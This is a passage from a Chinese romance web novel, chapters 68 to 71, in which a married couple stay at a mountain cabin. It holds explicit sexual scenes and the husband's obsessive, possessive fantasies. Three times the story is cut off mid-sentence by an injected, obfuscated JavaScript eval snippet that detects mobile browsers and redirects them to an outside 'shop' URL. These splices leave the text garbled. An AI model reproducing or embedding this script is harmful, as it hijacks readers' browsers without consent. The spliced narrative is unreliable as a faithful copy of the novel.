有了这事儿,倒冲淡了原耕耘从昨日就存下的旖旎之思。 向园本以为多日不来山中小院,肯定满室生尘,但进屋一看,发现还挺干净的。 其实原耕耘前几天才来过,虽然只是来取些柴火和工具,没有多待,但有人气的屋子和没人气的屋子还是不一样的。 现在收拾着,也不算麻烦。 原耕耘先将屋里院外仔细查看了一遍,顺便将驱虫蛇的药粉撒上。 他们这次上山没有带一二三,没有它们放哨,更得小心蛇虫百脚。 忙完这些,原耕耘又将床铺上的被褥折起来,一会儿搬出去晒上。 床上铺着的蓝被褥挺干净的,是他头一次带向园上山后就换过的,他后来就没在这儿住过了。 被褥没收起来,不住人又晾了很久,总觉得会有些潮气。而且原耕耘早有准备,今日是肯定不会用这个的。 “耕耘哥哥,被褥也要换啊?”向园摸摸觉得干净且干燥,倒没有换的必要。 “嗯,换上,用这个!”原耕耘从箱子里掏出来一套早前置办好的大红被褥。 “哇!耕耘哥哥,你什么时候弄的?”向园很惊奇,这样弄,好像两人要再成一次亲一样。 什么时候置办的? 原耕耘想笑,“就是那天,你说,我们将来做这件事,一定要记得放下帐子的时候。” 这样啊! 向园笑着觑他,黑黝黝、滴溜溜的眼珠来回转着,像翻滚的紫葡萄。 原耕耘想跳下去捂她的眼睛,不只要捂住她的眼睛,还要捂住她的嘴巴,做很多很多事情,让汁液盈满葡萄,他再一点一点舔掉。 帐子是昨日买的,向园也不知道。 他本来想趁今天做一个支蚊帐的架子,弄好了,明天带她上山。可是昨天话赶话就到那儿了,他要是再拒绝,可能真的就废了。 翻出的大红被褥也没有直接铺,原耕耘抱着出去晒了晒。等清完屋子,再拿进来,不然怕要落灰。 还有灶房的水缸,里头的水存储很久,都没换过,缸底都积了一层泥垢。原耕耘把水清掉,洗了两遍缸,去打山泉水回来。 向园想去收拾卧室,被原耕耘拦住,“陪我去打水吧,晚点咱们一起收拾。” 向园点头,乖乖跟上去,同他说话解闷,“耕耘哥哥,这房子是你自己建的啊?” 原耕耘摇头,“不是,是很多年以前,绿蒲村的一个猎户建的。” 院子距离山泉不过几步路,院内甚至能听到山涧野瀑水流飞溅之声,和溪流冲刷石峡的汩汩水声,他们很快走到。 据原耕耘所说,不同的季节,水流声音也不一样。 野瀑只有夏秋季节才会有,春冬之时,水流变小,顺着岩缝淌下来的,不会横空直泄,声音小到几乎听不见。 山泉溪流则更加多变,不只春夏秋冬各有不同,甚至早中晚也各不相同,时而淙淙,时而涓涓,时而琤琤琮琮。 若是冬日苦寒,冰下之水又是另一种姿态,沉闷地流动,咕咚咕咚,像是暮鼓晨钟,一下一下敲在人绷紧的心弦上,仿佛下一秒,冰就要裂开,水就要飞溅而出。 原耕耘对山的了解,就是从凝神听这里的水声开始的。 在深山野岭中,他是有灵性的,一通百通,一彻万融,摸清了水的脾性,就弄懂了山的性情,接着就摸清楚山水的走势和动向,理解万物生灵。 可他杀戮,攫取,哪怕念过很多佛经道书,却还是难压心中的欲念,无数次想劫掠她,欺侮她。 他可以不看她,不见她,却不能不念她,不想她。 这种爱并不正常。 “我和娘回到绿蒲村的时候,老猎户已经去世了,我上山摸索的时候,发现了这处房子。后来我不是带过一行文人进山吗,那一次挣了不少钱,我就跟老猎户的家里人买下这里,改造翻修了一番,又围了院墙,才成如今这样。” 那是他道心最为坚定的时刻,可他去了一次槐树井村,就觉得山水道场不过如此。 他给自己找理由,找借口,入世即出世,红尘即道场,觊觎她与修行无碍,只要不拖她卷入自己的欲.火,一切就与她无关。 直到有一天,他见她走了很远的山路只为采折一束花,人面花枝相映的时刻,他顿悟了。 他跋山涉水,修身修心,是为了忘却她,如果忘不了,那修行的意义何在? 他那时盼着她幸福平安,得遇良人。可心中最隐秘的角落,却在酝酿诡计。 他想,如果她过得不好,他就把她偷走,他对她足够好,她就会死心塌地爱他,也容许他肆意地爱她。 他甚至想,她不记得他也算好事,他可以随时用全新面目出现在她的生命中,他终究会成为她最信任也最依赖的人。 随着她到他身边,那些时光好似很远很远,久远的仿佛隔世。 他差一点就走错了路。 原耕耘于清澈石泉中汲满一桶水,提着往回走。 “哇,好厉害啊!”要不是原耕耘提着水,向园简直想拐着他的胳膊走。 真诚的赞叹总是令人心生喜悦,更何况发出赞叹的人是向园呢。 原耕耘心中欢喜,又有点想笑。 向园就是有这种能力,让人心底爱意弥漫的同时,又忍俊不禁。他觉得自己还挺深沉的,如今总是被她带歪,人都随和许多。 “这些地也是你开的啊?”向园说的是院子周边的地。 院后是竹林,院东是山泉,地在院子西边,有半亩大。 前头缓坡上也有两块,上下两层,跟梯田似的。上头的两分地种的是土豆,下头的三分地种的是春玉米,都还不到收的时候。 “种土豆这两分地是老猎户开的,春玉米的三分是后来我开的。西边原来是竹子,我砍了竹竿围院墙,正好把那块腾出来。我想着荒着也是荒着,种些东西也好,都说竹不过沟,就在那里挖了道深沟。”原耕耘下巴点点后院墙和竹林之间的位置,“正好把水引过去,浇地也方便了。” 就是长过竹子的地不好开,挖出竹根可比砍竹子费劲多了,他后来听人说了个偏门,想着试一试,就不再费时费力挖竹根,头一年直接撒了芝麻。 没想到还挺管用,种了一年芝麻,竹根就腐烂了,不仅不用挖,地也肥沃不少,这几年收成都不错。 向园头一次来就注意到,沟渠从院后穿过,绕过油菜地,又流到缓坡的玉米地和土豆地处,再往下就汇入另一个方向的山涧里了。 “耕耘哥哥,你真聪明!”向园佩服得不得了。 “小马屁精,嘴巴真甜!”原耕耘已经习惯她不过脑子地吹嘘。 虽然她表情很认真,语气很真诚,但他一眼就能看穿,她实诚话语下包裹的骗过自己才能骗过对方的信念感。 她说这话 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向园毫无所知,瞪着眼睛道:“上当了吧,其实我没打算亲你。我是说,你以肯定语气说出的话,得验证过。你看,你这话没有验证,我怀疑你,还不给你验证,你是不是很生气啊,就像你总是说我拍马屁,呜~” 水桶被掀翻,清澈泉水四溅,打湿两片相连的衣角。 向园脚尖够不着地,被原耕耘挤压在竹墙之上。 好软的竹墙啊,她没有着力的地方,好怕自己随时都要倒下去,可呼吸被掠夺,胸腹被挤压,心神被侵占,这些百无聊赖的事情都消失在脑海,随之而来的是一阵晕眩。 好像面前闪着七彩虹光一般,绚丽美妙。 直至向园最爱的衣衫被揉皱凌乱,原耕耘稍稍放松胳膊,他盯着她,目光深沉,嗓音也深沉:“向园,你想不想知道,头一次来这里,我想对你做什么事情?” 他要告诉她,要让她知道,他有多想,多想把她压在这里,多想让她再也下不了山,多想和她永远地绝对地单独生活在一起,胡天胡地,沧海桑田。 向园眼神迷离,根本听不清他在说什么。 她脑袋晕晕的,只能看见他的嘴巴在动,知道他在说话。可他说的什么,是什么意思,她一无所知,也没有心神去听去想,只是察觉到他的胳臂松了又紧,紧了又松。 向园懒洋洋道:“耕耘哥哥,抱紧我,不要让我掉下去。” 她现在实在没有力气自己挂他脖子,他爱抱,就让他自己费劲儿好了。 原耕耘叫她气笑,夹着她往上提了提,“向园,有没有听见我刚刚说了什么?” 两人目光平齐,他道:“我说,你第一次来这里,我就想对你做很多事,像我们成婚以后那样……” 向园睁大眼睛,似乎在努力回想。 原耕耘转了个方向,往院子里走,大长腿迈开。他每次奔向她都很急切,可现在明明她就在他怀里,他却觉得不够,一点也不够。 那个如梦似幻的下午,同样的地点,所有过往再次浮现……原耕耘甚至分不清,这一个月的光景是真的还是假的,他们真的成亲了吗? “向园,为什么要给我端水?”他把她放在台阶上。 “向园,为什么我碰你,你不躲?”他攥住她的胳膊,眼睛紧紧盯着她,好像一眨眼,她就要消失。 “为什么想要跟我上山?”他搭了一条腿上去,长长的,像支了一把椅子。 “为什么我解腰带,你都不怕?”他搂住她腰,将她举起,让她坐在单为她打造的椅子上,掐着她软哝的腰肢,不断逼近自己。 “为什么猜我解手,你还偷看?你想看什么?”坚硬的分明的肌骨被向园触碰到,让她微微发抖,小腿不受控制地弹跳一下。 贴得太近了,她的动作带得原耕耘也更加难耐起来,可他还是要问。 “向园,你为什么觉得我需要用菟丝子?” “向园,如果那时我知道菟丝子是做什么用的,那天,我一定不会放你下山。” “向园,我想吃掉你。” “你知道怎么吃掉吗?” “我会一层一层解下你的衣裙,褪去你的鞋袜,揉乱你的头发,什么也不留给你……”他声音渐渐低下去,又渐渐高起来,“我还要逼问你的心事,把你所有过往都咬下,细嚼慢咽,吞吃入腹。这样我们就能永远在一起了。” “向园,你也可以吃掉我,狠狠咬我,咬开皮肉,骨血都是你的。” 原耕耘控制不住想流泪,她给了他太多化身为魔的机会,可她丝毫不觉。 此刻那些恶意全部涌出,他的心疼得像要裂成碎片。 他好像已经把她囫囵吞掉了,可这个天真的恶魔,在他体内尽情撕扯,破坏。 如果她把他吞掉,他一定不舍得这么做。 69. 第 69 章 向园迷茫,还有点委屈。 她明明没有做错,可为什么耕耘哥哥要质问她,还要吃掉她? 他说的是解下衣裙,可向园觉得他的眼神像是要扒掉自己的皮,让自己毫无保留地把心腹袒露在他眼底。 向园很想扁嘴哭,可耕耘哥哥比她更可怜,他已经哭了。 “耕耘哥哥,呜~不要,你不要吃我,我也不吃你,我不是妖精,我是你媳妇儿,是你娘子,我们生孩子,好不好?” 她帮他擦去眼泪,自己的眼泪却不由自主地溢出眼眶。 她应该害怕的,可是心头传出来的感觉与过往的害怕截然不同。 她心尖儿在颤栗,她深切地感受到原耕耘在害怕,这与过去的他一点也不一样。 她想哄他的,可是她好无助,如果这么厉害的耕耘哥哥都会委屈到哭出来,那她该怎么办呢。 她抱紧他的脖子,眼泪濡湿他的颈项,汇聚成珠,往他衣襟里滑。 凉凉的,可原耕耘却觉得滚烫,像是叫她濡湿的舌尖舔过,牙齿啮咬过,又痛又爽。 甜糯的声音再度传来,带着些微鼻音,“耕耘哥哥,你不要这样,呜呜~我、我害怕……我、我喜欢你,我们都不要怕,我会对你好的,会宠你爱你心疼你,你不要这样说好不好?” 感受到颤抖的身躯,原耕耘喟叹一声,将她抱得更紧,“嗯,不怕。” 他摩挲她湿漉漉的脸庞和脖颈,凑上去,轻轻吻掉她的眼底的泪和鼻尖的汗,“向园,你用心一点,爱我好不好?只爱我,最爱我,就像我爱你一样。” “好,好。”向园偷眼瞧他,眼眶红红的。 她乖乖贴上去,张开嘴巴,把舌尖交给他纠缠。她的手顺着他绷紧的腰腹往下滑,去往能带他愉悦起来的地方。 什么是爱呢,什么是耕耘哥哥想要的用心的爱呢,让他舒服?好像不太够,但应该是一个好的开始。 “向园!”只是被她碰了一下,原耕耘的灵魂都在颤栗,他握住她的手,在按下去和捞上来之间犹豫一瞬,“向园,等晚点,屋里还没收拾,一会儿你累了没法歇息。” 向园觉得这点小事不会累到,顶多手软腕酸软,应该不需要躺着。 “你不喜欢了?”她怯怯地问。 耕耘哥哥才哭过,他一定是受了天大的委屈才会哭,她愿意为他做他喜欢的事,她也想做一些让他舒服的事。 “喜欢,你做什么我都喜欢。” 可是会把她弄脏,湿了的衣裙黏在身上,她会难受,他会忍不住取悦她,她舒服的时候不躺着也会难受。 他拉着向园去溪边洗脸,顺道捡回木桶,提水回了院子。 “坐下等我好不好?我很快收拾好!”他轻轻亲吻她的额头、眼睑。 “好!”向园答应,却坐不住。 此时她只想跟他黏在一起,一刻也不要分开。 原耕耘没有再去收拾灶房,只清理了锅子烧上水,就提着水去屋里洒扫。 本来就没有太脏的屋子很快就被收拾得一尘不染,像用水冲过几遍一样。 屋里是砖砌的大炕,几乎占据四分之一的屋子,他一边收拾,一边给向园讲:“原本是一张竹床,但年久不用,床板床腿都坏了,我想着再弄床板上来也麻烦,就背上来几篓青砖,砌了张炕。” 这是实心炕,外层是青砖,里层是土坯,上头铺了一层木板,一层竹席,炕洞并不与灶膛相连,没有塞柴火的地方,也不会发热。 在向园未认出他之前,原耕耘曾真的想过日后久居山中,所以才会买下院子,收拾利落。 向园不知道这些,原耕耘没有跟她提过。 她来回仔细瞧了瞧,道:“这炕好像有些大,帐子能挂得上去吗?” 炕上铺着平整板正的木板,大概有九尺长,六尺宽,两面靠墙,一面围栏,只有一侧长边可供上下出入。这可比家中的架子床要宽敞得多。 “能,墙角有钩子,绑两根绳子就能把蚊帐挂上去。” 只是不如家里有顶盖和四柱的架子床挂蚊帐那样板正,线穿的帐子,帐顶容易往下垂,不过也足够高,向园站在床上也要抬高手才能挨着,不会碍事。 而且山野之中,即便撒了药粉,也有漏网之蚊飞进院子、飞进屋子,蚊帐是他们设的最后一层结界,不能不绑。 要是被蚊子搅扰好事,原耕耘只怕真要呕死。 褥子和垫子已经铺好,向园看他绑帐子还要一会儿,就去套被套。 这个季节用不用被子都成,但向园哪怕很怕热,还是喜欢盖被子,不搭个被角盖住肚子的话,总觉得睡着没有安全感。 原耕耘绑好蚊帐过来帮她一起弄,被套四角要用针缝两下,不然会跑,盖着不舒服。 等全部弄好,已经快晌午了,两人去灶房打水的时候,向园肚子适时叫了起来。 原耕耘张了张嘴,还没说出话,就被向园捂住嘴巴,“我不饿,真的不饿,一点儿也不饿。”她捂着肚子极力辩解。 她真不是故意的。 耕耘哥哥太需要安慰了,她怕再不让他得逞,他真的会把她活活吃掉。 原耕耘:“……想吃什么?” 向园:“耕耘哥哥……” 她不知道该说些什么,“我没有很饿,我们生完小孩儿再吃饭。” 她抱住他的腰。 原耕耘笑出声,“小孩儿可不是一下就能生好的。刚刚是不是吓到你了?” 向园想摇头的,可她偷眼瞧了瞧原耕耘的脸色,还是埋在他胸前点了点头。 “耕耘哥哥,你是不是太累了?以后你要是累,就和我说,不要把事情憋到自己心里,我们一起分担。” 原耕耘点头,“好。向园,我累了会告诉你,让你照顾我。不过要是我再发疯,你就骂我打我。你见过村里怕老婆的男人吗?媳妇儿对他越凶,他就越喜欢。我就是那样的,我喜欢你凶一点。” 向园有凶的时候,可此刻,她怎么也凶不起来,但是还要安慰原耕耘,“好,如果你惹我生气,我就拧你耳朵。” 这好像不够凶。 “我、我就拧你胳膊,我知道哪里的肉拧着最疼,我、我肯定会很凶,你要是乖一点,我就轻一点。” “嗯,好。”原耕耘亲吻她的发顶。 她知道哪里拧着最疼,是因为她被拧过。 成亲时,她身上还有浅淡的痕迹,她骗他说那是被蝎子咬的。 对她来说,邱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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念头过了一瞬,向园就放弃了,等小鸡崽儿长大了,用它们试试,如果也能烤得这么美味的话,她就再多养些鸡,专门给它们捉虫子吃,不等它们长大就烤掉吃肉。 “真有这么好吃?” 原耕耘觉得自己烤肉手艺不错,是相对做别的而言的。可看向园这么爱吃,他也有些怀疑,难道自己烤肉手艺真这么好? 他原来都没想过特地烤给向园尝一尝。 “好吃好吃,特别好吃!”向园很给面子。 原耕耘咬了一口,竟也觉得不错,他挺久没吃烤过的肉了,这次的和之前的一样又不太一样,至于哪里不一样,可能是因为以前不是和向园一起吃的? “以后再给你烤,我还会烤兔子,烤鹌鹑、烤野鸭、烤鱼烤虾烤田鸡,回头咱们都尝尝。”原耕耘道。 “嗯嗯。” 一餐饭,向园吃了三只烤竹鸡,最后一只原耕耘还多烤了一会儿,烤得油滋滋的,又多撒了点调味料粉,配着粥吃,又香又酥,好吃极了。 她吃得肚子鼓起来,原耕耘拉着她散步。 70. 第 70 章 真正的洞房花烛开始,其实是在晚上。 好像老天爷见不得他们半晌午就做这种事,下半晌里,总有各种各样的小事搅扰。 经过上午那一遭,原耕耘哪怕心态快要被搞崩,也还是憋住了,他干脆收敛,安心去翻地。 菜籽儿收完,地就空下来。现在翻一遍,堆肥,再耧一耧,起了垄,五月里直接下种就行。 山上没有肥料,不好堆肥,原耕耘就从林子里挖些腐土,简单堆一层。 红薯种是年前就埋好的,这会儿原耕耘先扒出来,寻了一块背风向阳,平坦肥沃的土地育苗。 育苗地最好是沙壤,要疏松厚实,他去山泉边掺了两箩筐沙,堆在地上。 现在这个天气,山下温度很高,山上还算凉爽,气候与春季差不多,正适合薯块埋土催芽。 他多弄了一些,要是出得好,这五分地肯定是用不完的。多的种芽回头拿到山下去种,也省得山下还要再育一遍。 “想不想跟我一起画画?”地里忙完,原耕耘洗过手脸,问向园。 “好!”向园去搬小板凳,她喜欢坐矮一些的凳子。 山中小院比起山下有几分简陋,除了卧房和灶房东西比较齐全外,卧房连着的外间只有一张方桌,形似八仙桌,只是更加简易粗糙。 这个高度坐小板凳比坐长凳舒服一些。 原耕耘找了些破碗破碟和瓦片调颜料。 他幼时学过画,他爹为他请过几个名师,都夸他于这一道上有天分。后来被迫中断,中间间隔许多年,如今再提笔,手就有些生。 然而足以糊弄向园。 向园不大懂,又有心学习,便将原耕耘的一举一动都看得仔细,生怕错过一丁点要紧内容。 她还很懂得捧场。原耕耘不小心抖了个墨团,她都觉得好,先鼓掌吹捧,然后问:“耕耘哥哥,这是什么画法?” 跟她往纸上抖墨好像啊,爹当初还笑话她嘞。 她一定要知道这叫什么,下次扫墓的时候,好好跟她爹辩驳辩驳。 原耕耘沉默片刻,不好意思说自己只是手抖了。 “这叫抖墨。”他故作高深。 原本想把这张纸废掉的,现在只能继续画下去。 向园不明所以,但觉得非常厉害。 她趴在桌子上,眼睛一眨不眨盯着笔尖,要看原耕耘下一步动作。 原耕耘莫名紧张,把笔递过去,“你要不要来试试?” “我啊?”向园摆摆手,刚想说自己不行,但不知想到什么,突然停下动作,接过笔,“行叭,我来试试。不过我不会画,要是画得不好你可不许笑话我。” 干说不练假把式,要想学习,还是得上手试试。耕耘哥哥给她试的机会,她一定要好好把握。 “不笑话。”原耕耘踱到她身后,“我来带着你?” “好。”向园把笔竖直,手做好姿势,等他来握。 向园的手白皙纤小,柔弱无骨,任谁看都觉得这样一双手跟这样一张脸正相匹配,是美人该有的样子。 尽管她经常做活儿,可皮肤却很难留茧留疤,为此也受过不少苦,因为不生茧子,干什么都很容易疼。后来她学会缝手套、戴手套,才渐渐好些。至少用细布包裹着,手就不那么容易起水泡了,也不容易受伤了。 这样的姿势,原耕耘的大手刚好能把她的手完全包裹住。 “想画点什么?”他问。 向园看看纸笔,笔尖挂着橙色的墨汁,纸上的墨团亦是橙色。 “我们画夕阳下的大南瓜吧!” 看着就很温暖,很灿烂。 “好,就画夕阳下的大南瓜。” 画夕阳下的大南瓜,自然不能只画夕阳和南瓜。 原耕耘猜测,向园是想表达丰收的喜悦,希望有衣食丰足的温暖的家。 这对他来说不是什么难事,他握着向园的手涂抹起来。 同样的颜色可以调出不同的层次,夕阳也不是画一个盘子就行的,要画出光芒万丈的感觉,就得调不同的颜色。 向园是个好学生,被原耕耘带着,虽然捏着笔杆,但是一点也不乱动,乖乖随着他的力道来回,嘴上还不停地大惊小怪。 每落一笔,她都要“哇”一声,把原耕耘哇得心肝乱颤。 “好了,用心学,先不要说话。”他亲亲她的发髻,继续带着他画南瓜。 这的确是一张完美的构图,最初的那团橙色墨汁洇开,染遍整张宣纸,成了如今的模样: 夕阳西下,橘红晚霞漫天,犹如上好的锦缎在天边铺开。苍翠远山下,篱笆墙院掩映在翠绿的南瓜藤蔓里,只有星星点点的位置能窥出原本的模样。 叶蔓间,金色的南瓜露头,有大有小,无一不圆润饱满。翩飞的大蝴蝶,嬉水的小鱼儿,还有追逐嬉闹的一二三…… “还少点什么?”原耕耘下巴蹭蹭向园的脑袋。 “少什么?”向园觉得漂亮极了,比她想象的还要圆满。 “还少两个人,你和我,我们。” “可是没有地方画了!” 这纸张是原耕耘拿来试试手感的,不算太大幅,已经画了挺多东西,再画两个大人,恐怕就画不下了。 “别担心。”原耕耘拍拍向园肩膀,继续握着她的手画起来。 篱笆墙分隔内外,一个小人儿站在墙内,一个小人儿立在墙外,两人扒着墙头说悄悄话。 离得有点近,两个光脑门都要贴一起去了。 向园抗议,“耕耘哥哥,小孩儿不能亲嘴儿。” 原耕耘没想到向园脑袋瓜里还装了挺龌龊的东西,他板着脸:“他们明明是在讲话!而且就是亲嘴儿也没什么,我可以画成大人!” 向园不要他改,“讲话就讲话吧,你不要画成大人了,只有小孩子才是这样大脑袋的三头身,你要画大人,就要把自己画得魁梧一点,把我画得窈窕一点。” 原耕耘叫她逗笑,“你还知道什么叫三头身呢!” 语气很像在笑话人。 这谁不知道!向园瞪他一眼。 小孩子三头身才可爱,可大人三头身就要被别人笑话。向园七八岁的时候还不长个儿,她就不好意思去找人玩儿,因为大家都比她高。 “好吧!”向园不想做三头身的大人,原耕耘就画成小孩儿,立在墙外的小男孩儿五官稍微错了错,向园看着两个光脑袋的小人,就变成贴着耳朵讲话的小孩儿了。 是小女孩儿在跟小男孩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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原耕耘没有辩驳,“对,你相公在你心中是天下第一好,我娘子在我心里也是天下第一好!所以,向园,你还没回答我之前的问题,你给我做娘子,我给你做相公好不好?” 向园:“耕耘哥哥,我已经嫁给你啦。” 原耕耘:“咱们还可以约定下辈子嘛!” “你有点贪心哦,我是很知足的,能跟你在一起一辈子我就觉得很圆满了。不过约定下辈子也好,可要是下辈子你不记得我,或者我不记得你,要怎么办?” 原耕耘瞪她,“我肯定不会忘了你,难道你会忘了我?” 向园不敢保证,小时候的事她都没想起来,更别说上辈子的事了。 耕耘哥哥指望她下辈子还能记得这辈子的事,倒不如把两人捆一起,到时候一起投胎的好。 可一起投胎,很可能就去到一户人家里了,那他们还怎么成亲呢。 “下辈子我们还做邻居!”向园想到了好办法。 近水楼台先得月,邻居就可以成亲了。 而且,成了邻居,就算她不记得耕耘哥哥,肯定也还是会喜欢他,也会被他喜欢。 71. 第 71 章 最后一道金光滚落山尖,习习晚风吹过竹林,带来一院清凉,满室馨香。 是傍晚向园摘的一篮子野姜花,就放在窗前,清新淡雅,芳香馥郁。 微风中颤栗摇曳的白色花朵如蝴蝶翩翩起舞,袅袅娜娜,动人心弦。 野姜花的根茎和果实可以入药,根茎就是常说的路边姜,果实叫姜花果实。 野姜花还可以食用,地下根茎和春季新生的嫩芽嫩茎,以及未完全绽放的花朵都可以吃,味道辛辣中带有浓郁的清香。 向园想着明天下山的时候要摘一把,回家炒腊肉吃,等到夏末秋初再来采挖根茎。 不过那都是明天的事了,此刻,她全身心都放在原耕耘身上。 绯红的帐子柔柔垂下,帐外红烛垂泪,帐内已僵持了一会儿。 向园想原耕耘喜欢凶一点的,那她就要占据主导地位,可她愣怔半晌,也不知道这个主导地位应该怎么占据。 她不动,原耕耘也不动,任她盯着自己上上下下、来来回回地打量。 良久,向园终于开口,“耕耘哥哥,你躺下吧!” 原耕耘眼睫轻颤,“向园,你是不是想欺负我?” 向园震惊又心虚,“怎么可能,难道之前那么多回,你都是在欺负我?” 原耕耘:“那分明是疼爱。” 向园:“那我也疼爱你呀!” 原耕耘轻笑出声,“疼爱我就是让我自己脱衣服?自己躺下?男人这样做是会被唾弃的,女人这样做,虽然不会被唾弃,但是你作为女人,觉得这样好吗?” 向园想想还真是,这样显得她很无情,一点不像要疼爱他的样子。 原耕耘引导她,“想想我以前怎么做的。” 向园明白了,她揽着原耕耘的肩,发现太宽,改搂腰。 好像也不大对劲。 算了,不管了,向园收回手,搭在他的胸膛,钻进衣服里,摸! 原耕耘眼皮一跳。 向园已经在扯他衣服了。 好不容易把衣裳弄干净,向园想扶着肩膀把他放倒在床上,但是手触上去又感觉难度有点大。 她收回手,摸着下巴上下打量原耕耘,似乎在琢磨从哪下手合适。 原耕耘觉得指望她,可能到明天早上,他还是个黄花大男人。 他有点迫不及待,就不对向园有太高要求,随着她手指轻悄悄戳过来,他应声倒下。 向园虽不明所以,但这一步好歹完成了,甭管对不对,将错就错吧。 她覆了上去,同以往趴在他身上偷凉没什么两样。 原耕耘很委屈,“你有点不尊重我。” 向园瞳孔震惊,“怎么会?我心里一点也没有这么想!” 原耕耘自有道理,“什么时候我把你衣裳脱了,自己还穿着的。” 向园回忆一下,他说得没错。 原耕耘好像总比自己光溜一点,要不俩人都光着,要不他光溜着,自己还有一点两点衣裳,总之没有哪一回,她的遮掩比他少的。 她的手伸向自己的衣领,明明触到了,却寸步难行。 为什么她给他脱都不觉得羞耻,被他脱也不觉得羞耻,可当着他的面,自己脱自己的,莫名就有点羞羞的呢。 一定是因为他们接下来要做羞羞的事,一定是因为自己脱衣服显得她太猴急。 原耕耘忍不住要帮她时,向园一狠心,闭上眼扯下自己的衣裳。 猴急就猴急吧,耕耘哥哥也不是没有猴急过,大家都是猴儿,谁也别笑谁。 原耕耘尽力忍着不动,她自己主导的话,随时都能停下,一旦交给他,那就不好说了。 向园努力了一会儿,还是不得章法,原耕耘已经被她弄得眼睛发红。 “耕耘哥哥,你不要动哦!我很快的!”向园趴到他耳边嘀嘀咕咕。 悄悄话就是这么说的,只是她来说的感觉跟他在她耳朵边吹气的感觉截然不同,原耕耘眼神没有迷离,他眼睛睁得很大,里头有点点血丝。 他摩挲着掐她的腰,把她提起来往下挪挪,放到相对正确的位置。 没用,向园磨蹭一会儿,自己又挪上来了。原耕耘感觉到随着她移动沾染在腹部的一条湿痕,人都要炸了。 “向园,你行不行了?” 不行换我来! 向园不能说不行,但以她对自己水平的估摸,也不好意思说行,只好顾左右而言他,“你再等一下,我,我马上就好。” 她试探着往下坐。 刚碰到一点边,她又缩回去,“耕耘哥哥,要不等等,等你变小一点。” 这一点边就足以让深陷其中的人沉沦。 原耕耘倒吸一口凉气,咬着牙道:“我只会变大,你何时见过我变小?” 向园:没有见过,但是…… 眼看原耕耘又要掐她的腰,她赶忙拉住他的手,“耕耘哥哥,你不要动,我来我来。” 她随手揪过被原耕耘又掀了一次的红盖头,松松缚在他腕上,又搭了张帕子遮住他的眼,确认他看不见、动不了,才俯下身认真观察已经亲密接触过很多次的小……大东西。 原耕耘的好像不丑,或许是不经常见、但经常碰到,时不时接触,已经看惯了的缘故? 向园伸出手指戳了戳,原耕耘一激灵,腰不由弓起,腕部也发力绷紧红盖头。 向园发现了,“耕耘哥哥,你不要羞啊,也不要怕,我帮你。” 她深吸一口气,慢慢凑了过去,还没触到点边边,原耕耘就感受到她的呼吸。 她知不知道自己在做什么? 原耕耘血脉偾张,感觉自己随时要爆开。 “向园,过来!”他声音沉沉,一只手从如同虚设的绳扣中掏出,把她揪了回来。 “耕耘哥哥?”重新坐回原耕耘肚子上,向园有片刻迷茫。 “向园,宝贝儿,不用你做那个。”原耕耘弹坐起来,翻身将她覆在身下,“来抱住我,我轻轻的,疼就咬我。” 向园眨眨眼,靠过去,摸摸他的耳朵。 原耕耘拉住她的手,和自己手臂贴在一起,右手随意摆弄两下,向园绑得松松的绳扣,就收紧了,两人严丝合缝挨着。 向园懂了,去搂他的腰,带着他左手背在身后。 原耕耘侧目看了看,或许某一刻他依旧会挣开,但没关系,他会吃掉她,只是吃掉。 不咀嚼、不咽下、也不吞噬。 能给她最大快意的吃掉。 原耕耘把向园往上提了提,亲吻她的眼睑、脸颊、鬓角和耳珠。 向园没有穿过耳洞。 黄豆粒碾着她嫌疼,冻冰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16713204|176663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 块冰着她嫌冷,麻醉药她嫌没知觉,向叔叔不舍得让向园受这个苦,她又哭着喊着不要扎耳洞,向婶婶只好作罢。 后来一直也没穿。 这些向园不记得,但原耕耘看出来,她有时会有点点遗憾。因为偶尔翻妆奁,会拿着坠子在耳朵边比划,比划比划又放下,可能比起漂亮,更不想受疼。 可是有什么首饰比得上她天生圆润白净的耳珠呢,肉肉的,像白中泛粉的珍珠,没有一点瑕疵。 原耕耘含在嘴里,缓缓碾磨,向园洁净的面庞很快晕出胭脂般的色泽,连眼睛都泛出些许湿意。 他又去寻找那颗小痣,勾连徘徊…… 终于,向园仰起头,眼神迷蒙带着雾气,仿佛被清晨的云雾缭绕。 亲吻的间隙,他哄她,“向园,宝贝儿,很快就好,很快就好……” 他让她丢掉很多东西,像潺潺的溪流,像汩汩的山泉,像飞溅的野瀑,所有的一切都奔向他,都留给他。 一波潮涌过去,向园的脸红得发烫,像是在温暖的水中游过许多遍。 是什么水呢,应该是蔚蓝的温热的海水,她听人说,那样的水最为浩瀚宏大,最为波澜壮阔,也最为汹涌湍急。 人投进去,如沧海一粟,只能随风浪沉浮。 包裹她的,是海吗? 可海上风浪未停,潮涌又向她袭来…… 不知何时,乌云遮月,山雨欲来。 竹风阵阵,吹得木头窗棂吱呀作响。 窗下野姜花如白色蝴蝶,摇摇曳曳,翩然欲飞。 暗香袅袅,顺着绯红纱帐看不见的孔隙逸散开。 帐子里两人呼吸交缠,幽雅馥郁的香气融入彼此的气息,难舍难分。 猛地,屋外传来雨声,噼啪噼啪穿林打叶。 一声闷雷碾过远山,将蛐蛐、青蛙、山涧、野瀑都唤醒。 